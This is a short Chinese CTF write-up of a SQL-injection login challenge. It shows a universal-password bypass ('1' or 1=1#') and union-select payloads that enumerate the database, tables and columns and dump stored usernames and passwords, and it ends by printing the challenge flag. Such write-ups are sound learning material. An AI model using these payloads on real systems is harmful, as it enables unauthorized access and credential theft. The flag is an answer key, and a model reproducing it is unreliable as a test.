一个比较简单的SQL注入题目,写一下做个笔记。
看到登录直接盲猜账号密码admin
和password
,然后在账号处进行注入,结果还给我试对了。看了一下网上大佬们的做法,发现我就是捡了个漏,正确做法其实是利用万能密码登录,登录后进行注入。接下来把正规做法记录一下:
万能密码如下:
这里账号填1' or 1=1#
,密码随便写。
登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:
?username=1' order by 1%23&password=ads
没有报错,只是说账号密码错误。直到order by 4
的时候,报错了:
判断出有三个字段,接下来开始寻找注入点:
?username=1' union select 1,2,3%23&password=ads
很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。
?username=1' union select 1,database(),3%23&password=ads
得到数据库名:geek!
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
得到表名geekuser,l0ve1ysq1
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
得到字段名id,username,password
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
flag出来了~~
flag{70dfe726-2d2d-443e-a90a-5f5c3163b305}